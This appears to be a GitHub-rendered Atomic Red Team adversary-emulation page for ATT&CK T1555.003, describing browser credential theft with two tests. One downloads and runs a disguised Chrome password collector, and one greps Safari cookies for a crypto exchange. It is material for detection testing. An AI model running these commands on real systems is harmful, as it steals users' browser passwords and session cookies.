Skip to content

Latest commit

 

History

History
104 lines (58 loc) · 4.6 KB

T1555.003.md

File metadata and controls

104 lines (58 loc) · 4.6 KB
Raw

T1555.003 - Credentials from Web Browsers

Description from ATT&CK

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData ‎April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

Atomic Tests


Atomic Test #1 - Run Chrome-password Collector

A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb.

Adapted from MITRE ATTACK Evals

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
file_path File path for modified Sysinternals String $env:TEMP

Attack Commands: Run with powershell!

Set-Location -path "#{file_path}\Sysinternals";
./accesschk.exe -accepteula .;

Cleanup Commands:

Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Modified Sysinternals must be located at #{file_path}
Check Prereq Commands:
if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force


Atomic Test #2 - Search macOS Safari Cookies

This test uses grep to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to ~/Libraries/Cookies and grep for Cookies.binarycookies.

Supported Platforms: macOS

Inputs:

Name Description Type Default Value
search_string String to search Safari cookies to find. string coinbase

Attack Commands: Run with sh!

cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"